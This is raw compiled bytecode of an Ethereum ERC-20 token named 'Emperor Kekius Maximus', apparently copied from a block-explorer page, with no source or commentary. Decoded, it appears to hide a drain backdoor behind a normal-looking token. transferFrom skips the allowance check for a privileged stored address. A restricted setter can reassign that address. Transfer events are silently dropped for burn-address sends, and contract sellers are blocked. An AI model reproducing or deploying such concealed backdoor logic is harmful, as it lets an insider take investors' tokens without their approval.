fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116856116398284611bbe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156117c55761171e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117bc9190611e05565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611872578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61185c8486611bbe90919063ffffffff16565b6040516118699190611e05565b60405180910390a35b50505050565b5f8383111582906118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b69190611cd4565b60405180910390fd5b505f83856118cd91906127ac565b9050809150509392505050565b5f5f823b90505f8111915050919050565b6001600b60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611922576119216127df565b5b6040519080825280602002602001820160405280156119505781602001602082028036833780820191505090505b50905030815f815181106119675761196661280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a2f9190612264565b81600181518110611a4357611a4261280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aa930600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611b0b9594939291906128f0565b5f604051808303815f87803b158015611b22575f5ffd5b505af1158015611b34573d5f5f3e3d5ffd5b50505050505f600b60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611bba573d5f5f3e3d5ffd5b5050565b5f611bff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611878565b905092915050565b5f5f8284611c159190612948565b905083811015611c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c51906129c5565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611ca682611c64565b611cb08185611c6e565b9350611cc0818560208601611c7e565b611cc981611c8c565b840191505092915050565b5f6020820190508181035f830152611cec8184611c9c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611d2182611cf8565b9050919050565b611d3181611d17565b8114611d3b575f5ffd5b50565b5f81359050611d4c81611d28565b92915050565b5f819050919050565b611d6481611d52565b8114611d6e575f5ffd5b50565b5f81359050611d7f81611d5b565b92915050565b5f5f60408385031215611d9b57611d9a611cf4565b5b5f611da885828601611d3e565b9250506020611db985828601611d71565b9150509250929050565b5f8115159050919050565b611dd781611dc3565b82525050565b5f602082019050611df05f830184611dce565b92915050565b611dff81611d52565b82525050565b5f602082019050611e185f830184611df6565b92915050565b5f5f5f60608486031215611e3557611e34611cf4565b5b5f611e4286828701611d3e565b9350506020611e5386828701611d3e565b9250506040611e6486828701611d71565b9150509250925092565b5f60ff82169050919050565b611e8381611e6e565b82525050565b5f602082019050611e9c5f830184611e7a565b92915050565b5f60208284031215611eb757611eb6611cf4565b5b5f611ec484828501611d3e565b91505092915050565b611ed681611d17565b82525050565b5f602082019050611eef5f830184611ecd565b92915050565b5f5f60408385031215611f0b57611f0a611cf4565b5b5f611f1885828601611d3e565b9250506020611f2985828601611d3e565b9150509250929050565b5f611f3d82611cf8565b9050919050565b611f4d81611f33565b8114611f57575f5ffd5b50565b5f81359050611f6881611f44565b92915050565b5f60208284031215611f8357611f82611cf4565b5b5f611f9084828501611f5a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561201b57808604811115611ff757611ff6611f99565b5b60018516156120065780820291505b808102905061201485611fc6565b9450611fdb565b94509492505050565b5f8261203357600190506120ee565b81612040575f90506120ee565b816001811461205657600281146120605761208f565b60019150506120ee565b60ff84111561207257612071611f99565b5b8360020a91508482111561208957612088611f99565b5b506120ee565b5060208310610133831016604e8410600b84101617156120c45782820a9050838111156120bf576120be611f99565b5b6120ee565b6120d18484846001611fd2565b925090508184048111156120e8576120e7611f99565b5b81810290505b9392505050565b5f6120ff82611d52565b915061210a83611e6e565b92506121377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612024565b905092915050565b5f61214982611d52565b915061215483611d52565b925082820261216281611d52565b9150828204841483151761217957612178611f99565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6121b4602083611c6e565b91506121bf82612180565b602082019050919050565b5f6020820190508181035f8301526121e1816121a8565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61221c601783611c6e565b9150612227826121e8565b602082019050919050565b5f6020820190508181035f83015261224981612210565b9050919050565b5f8151905061225e81611d28565b92915050565b5f6020828403121561227957612278611cf4565b5b5f61228684828501612250565b91505092915050565b5f6040820190506122a25f830185611ecd565b6122af6020830184611ecd565b9392505050565b5f819050919050565b5f819050919050565b5f6122e26122dd6122d8846122b6565b6122bf565b611d52565b9050919050565b6122f2816122c8565b82525050565b5f60c08201905061230b5f830189611ecd565b6123186020830188611df6565b61232560408301876122e9565b61233260608301866122e9565b61233f6080830185611ecd565b61234c60a0830184611df6565b979650505050505050565b5f8151905061236581611d5b565b92915050565b5f5f5f6060848603121561238257612381611cf4565b5b5f61238f86828701612357565b93505060206123a086828701612357565b92505060406123b186828701612357565b9150509250925092565b5f6040820190506123ce5f830185611ecd565b6123db6020830184611df6565b9392505050565b6123eb81611dc3565b81146123f5575f5ffd5b50565b5f81519050612406816123e2565b92915050565b5f6020828403121561242157612420611cf4565b5b5f61242e848285016123f8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612491602483611c6e565b915061249c82612437565b604082019050919050565b5f6020820190508181035f8301526124be81612485565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61251f602283611c6e565b915061252a826124c5565b604082019050919050565b5f6020820190508181035f83015261254c81612513565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6125ad602583611c6e565b91506125b882612553565b604082019050919050565b5f6020820190508181035f8301526125da816125a1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61263b602383611c6e565b9150612646826125e1565b604082019050919050565b5f6020820190508181035f8301526126688161262f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6126c9602983611c6e565b91506126d48261266f565b604082019050919050565b5f6020820190508181035f8301526126f6816126bd565b9050919050565b5f61270782611d52565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361273957612738611f99565b5b600182019050919050565b7f45524332303a2045787465726e616c2063616c6c0000000000000000000000005f82015250565b5f612778601483611c6e565b915061278382612744565b602082019050919050565b5f6020820190508181035f8301526127a58161276c565b9050919050565b5f6127b682611d52565b91506127c183611d52565b92508282039050818111156127d9576127d8611f99565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61286b81611d17565b82525050565b5f61287c8383612862565b60208301905092915050565b5f602082019050919050565b5f61289e82612839565b6128a88185612843565b93506128b383612853565b805f5b838110156128e35781516128ca8882612871565b97506128d583612888565b9250506001810190506128b6565b5085935050505092915050565b5f60a0820190506129035f830188611df6565b61291060208301876122e9565b81810360408301526129228186612894565b90506129316060830185611ecd565b61293e6080830184611df6565b9695505050505050565b5f61295282611d52565b915061295d83611d52565b925082820190508082111561297557612974611f99565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6129af601b83611c6e565b91506129ba8261297b565b602082019050919050565b5f6020820190508181035f8301526129dc816129a3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c6f25ea38f9da4b971d0158feddaac91e24fe57f0cbbdfa11622b4362c0024764736f6c634300081c0033

Deployed Bytecode

0x6080604052600436106100eb575f3560e01c8063715018a611610089578063a9059cbb11610058578063a9059cbb146102d2578063cc307d411461030e578063dd62ed3e14610324578063ea414b2814610360576100f2565b8063715018a6146102525780638a8c523c146102685780638da5cb5b1461027e57806395d89b41146102a8576100f2565b806318160ddd116100c557806318160ddd1461018657806323b872dd146101b0578063313ce567146101ec57806370a0823114610216576100f2565b806306fdde03146100f6578063095ea7b3146101205780630faee56f1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610388565b6040516101179190611cd4565b60405180910390f35b34801561012b575f5ffd5b5061014660048036038101906101419190611d85565b6103c5565b6040516101539190611ddd565b60405180910390f35b348015610167575f5ffd5b506101706103e2565b60405161017d9190611e05565b60405180910390f35b348015610191575f5ffd5b5061019a6103e8565b6040516101a79190611e05565b60405180910390f35b3480156101bb575f5ffd5b506101d660048036038101906101d19190611e1e565b61040b565b6040516101e39190611ddd565b60405180910390f35b3480156101f7575f5ffd5b506102006105fd565b60405161020d9190611e89565b60405180910390f35b348015610221575f5ffd5b5061023c60048036038101906102379190611ea2565b610605565b6040516102499190611e05565b60405180910390f35b34801561025d575f5ffd5b5061026661064b565b005b348015610273575f5ffd5b5061027c61079b565b005b348015610289575f5ffd5b50610292610cbe565b60405161029f9190611edc565b60405180910390f35b3480156102b3575f5ffd5b506102bc610ce5565b6040516102c99190611cd4565b60405180910390f35b3480156102dd575f5ffd5b506102f860048036038101906102f39190611d85565b610d22565b6040516103059190611ddd565b60405180910390f35b348015610319575f5ffd5b50610322610d3f565b005b34801561032f575f5ffd5b5061034a60048036038101906103459190611ef5565b610e2c565b6040516103579190611e05565b60405180910390f35b34801561036b575f5ffd5b5061038660048036038101906103819190611f6e565b610eae565b005b60606040518060400160405280601681526020017f456d7065726f72204b656b697573204d6178696d757300000000000000000000815250905090565b5f6103d86103d1610f43565b8484610f4a565b6001905092915050565b60095481565b5f6009600a6103f791906120f5565b6319133850610406919061213f565b905090565b5f61041784848461110d565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561052f5750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806104f8575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8061052e57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b5b156105f2576105f184610540610f43565b6105ec856040518060600160405280602881526020016129e46028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105a3610f43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118789092919063ffffffff16565b610f4a565b5b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610653610f43565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d7906121ca565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107a3610f43565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610830576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610827906121ca565b60405180910390fd5b600b60149054906101000a900460ff1615610880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087790612232565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061091c30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61090891906120f5565b6319133850610917919061213f565b610f4a565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa9190612264565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a30573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a549190612264565b6040518363ffffffff1660e01b8152600401610a7192919061228f565b6020604051808303815f875af1158015610a8d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab19190612264565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b3830610605565b5f5f610b42610cbe565b426040518863ffffffff1660e01b8152600401610b64969594939291906122f8565b60606040518083038185885af1158015610b80573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ba5919061236b565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c7b9291906123bb565b6020604051808303815f875af1158015610c97573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbb919061240c565b50565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f4b454b4955534d4158494d555300000000000000000000000000000000000000815250905090565b5f610d35610d2e610f43565b848461110d565b6001905092915050565b610d47610f43565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb906121ca565b60405180910390fd5b5f4711610ddf575f5ffd5b610de7610f43565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610e29573d5f5f3e3d5ffd5b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610f00575f5ffd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf906124a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611026576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101d90612535565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111009190611e05565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611172906125c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090612651565b60405180910390fd5b5f811161122b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611222906126df565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561129757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561159257600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113455750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611398575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156113f1575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561140e5760085f815480929190611408906126fd565b91905055505b5f61141830610605565b9050600b60159054906101000a900460ff161580156114835750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561149b5750600b60169054906101000a900460ff165b80156114f4575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561159057611502856118da565b15611542576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115399061278e565b60405180910390fd5b5f811115611579575f600954821161155a578161155e565b6009545b90506115778185116115705784611572565b815b6118eb565b505b5f4790505f811061158e5761158d47611b56565b5b505b505b6115e28260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bbe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116856116398284611bbe90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156117c55761171e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117bc9190611e05565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611872578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61185c8486611bbe90919063ffffffff16565b6040516118699190611e05565b60405180910390a35b50505050565b5f8383111582906118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b69190611cd4565b60405180910390fd5b505f83856118cd91906127ac565b9050809150509392505050565b5f5f823b90505f8111915050919050565b6001600b60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611922576119216127df565b5b6040519080825280602002602001820160405280156119505781602001602082028036833780820191505090505b50905030815f815181106119675761196661280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a2f9190612264565b81600181518110611a4357611a4261280c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aa930600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611b0b9594939291906128f0565b5f604051808303815f87803b158015611b22575f5ffd5b505af1158015611b34573d5f5f3e3d5ffd5b50505050505f600b60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611bba573d5f5f3e3d5ffd5b5050565b5f611bff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611878565b905092915050565b5f5f8284611c159190612948565b905083811015611c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c51906129c5565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611ca682611c64565b611cb08185611c6e565b9350611cc0818560208601611c7e565b611cc981611c8c565b840191505092915050565b5f6020820190508181035f830152611cec8184611c9c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611d2182611cf8565b9050919050565b611d3181611d17565b8114611d3b575f5ffd5b50565b5f81359050611d4c81611d28565b92915050565b5f819050919050565b611d6481611d52565b8114611d6e575f5ffd5b50565b5f81359050611d7f81611d5b565b92915050565b5f5f60408385031215611d9b57611d9a611cf4565b5b5f611da885828601611d3e565b9250506020611db985828601611d71565b9150509250929050565b5f8115159050919050565b611dd781611dc3565b82525050565b5f602082019050611df05f830184611dce565b92915050565b611dff81611d52565b82525050565b5f602082019050611e185f830184611df6565b92915050565b5f5f5f60608486031215611e3557611e34611cf4565b5b5f611e4286828701611d3e565b9350506020611e5386828701611d3e565b9250506040611e6486828701611d71565b9150509250925092565b5f60ff82169050919050565b611e8381611e6e565b82525050565b5f602082019050611e9c5f830184611e7a565b92915050565b5f60208284031215611eb757611eb6611cf4565b5b5f611ec484828501611d3e565b91505092915050565b611ed681611d17565b82525050565b5f602082019050611eef5f830184611ecd565b92915050565b5f5f60408385031215611f0b57611f0a611cf4565b5b5f611f1885828601611d3e565b9250506020611f2985828601611d3e565b9150509250929050565b5f611f3d82611cf8565b9050919050565b611f4d81611f33565b8114611f57575f5ffd5b50565b5f81359050611f6881611f44565b92915050565b5f60208284031215611f8357611f82611cf4565b5b5f611f9084828501611f5a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561201b57808604811115611ff757611ff6611f99565b5b60018516156120065780820291505b808102905061201485611fc6565b9450611fdb565b94509492505050565b5f8261203357600190506120ee565b81612040575f90506120ee565b816001811461205657600281146120605761208f565b60019150506120ee565b60ff84111561207257612071611f99565b5b8360020a91508482111561208957612088611f99565b5b506120ee565b5060208310610133831016604e8410600b84101617156120c45782820a9050838111156120bf576120be611f99565b5b6120ee565b6120d18484846001611fd2565b925090508184048111156120e8576120e7611f99565b5b81810290505b9392505050565b5f6120ff82611d52565b915061210a83611e6e565b92506121377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612024565b905092915050565b5f61214982611d52565b915061215483611d52565b925082820261216281611d52565b9150828204841483151761217957612178611f99565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6121b4602083611c6e565b91506121bf82612180565b602082019050919050565b5f6020820190508181035f8301526121e1816121a8565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61221c601783611c6e565b9150612227826121e8565b602082019050919050565b5f6020820190508181035f83015261224981612210565b9050919050565b5f8151905061225e81611d28565b92915050565b5f6020828403121561227957612278611cf4565b5b5f61228684828501612250565b91505092915050565b5f6040820190506122a25f830185611ecd565b6122af6020830184611ecd565b9392505050565b5f819050919050565b5f819050919050565b5f6122e26122dd6122d8846122b6565b6122bf565b611d52565b9050919050565b6122f2816122c8565b82525050565b5f60c08201905061230b5f830189611ecd565b6123186020830188611df6565b61232560408301876122e9565b61233260608301866122e9565b61233f6080830185611ecd565b61234c60a0830184611df6565b979650505050505050565b5f8151905061236581611d5b565b92915050565b5f5f5f6060848603121561238257612381611cf4565b5b5f61238f86828701612357565b93505060206123a086828701612357565b92505060406123b186828701612357565b9150509250925092565b5f6040820190506123ce5f830185611ecd565b6123db6020830184611df6565b9392505050565b6123eb81611dc3565b81146123f5575f5ffd5b50565b5f81519050612406816123e2565b92915050565b5f6020828403121561242157612420611cf4565b5b5f61242e848285016123f8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612491602483611c6e565b915061249c82612437565b604082019050919050565b5f6020820190508181035f8301526124be81612485565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61251f602283611c6e565b915061252a826124c5565b604082019050919050565b5f6020820190508181035f83015261254c81612513565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6125ad602583611c6e565b91506125b882612553565b604082019050919050565b5f6020820190508181035f8301526125da816125a1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61263b602383611c6e565b9150612646826125e1565b604082019050919050565b5f6020820190508181035f8301526126688161262f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6126c9602983611c6e565b91506126d48261266f565b604082019050919050565b5f6020820190508181035f8301526126f6816126bd565b9050919050565b5f61270782611d52565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361273957612738611f99565b5b600182019050919050565b7f45524332303a2045787465726e616c2063616c6c0000000000000000000000005f82015250565b5f612778601483611c6e565b915061278382612744565b602082019050919050565b5f6020820190508181035f8301526127a58161276c565b9050919050565b5f6127b682611d52565b91506127c183611d52565b92508282039050818111156127d9576127d8611f99565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61286b81611d17565b82525050565b5f61287c8383612862565b60208301905092915050565b5f602082019050919050565b5f61289e82612839565b6128a88185612843565b93506128b383612853565b805f5b838110156128e35781516128ca8882612871565b97506128d583612888565b9250506001810190506128b6565b5085935050505092915050565b5f60a0820190506129035f830188611df6565b61291060208301876122e9565b81810360408301526129228186612894565b90506129316060830185611ecd565b61293e6080830184611df6565b9695505050505050565b5f61295282611d52565b915061295d83611d52565b925082820190508082111561297557612974611f99565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6129af601b83611c6e565b91506129ba8261297b565b602082019050919050565b5f602082019050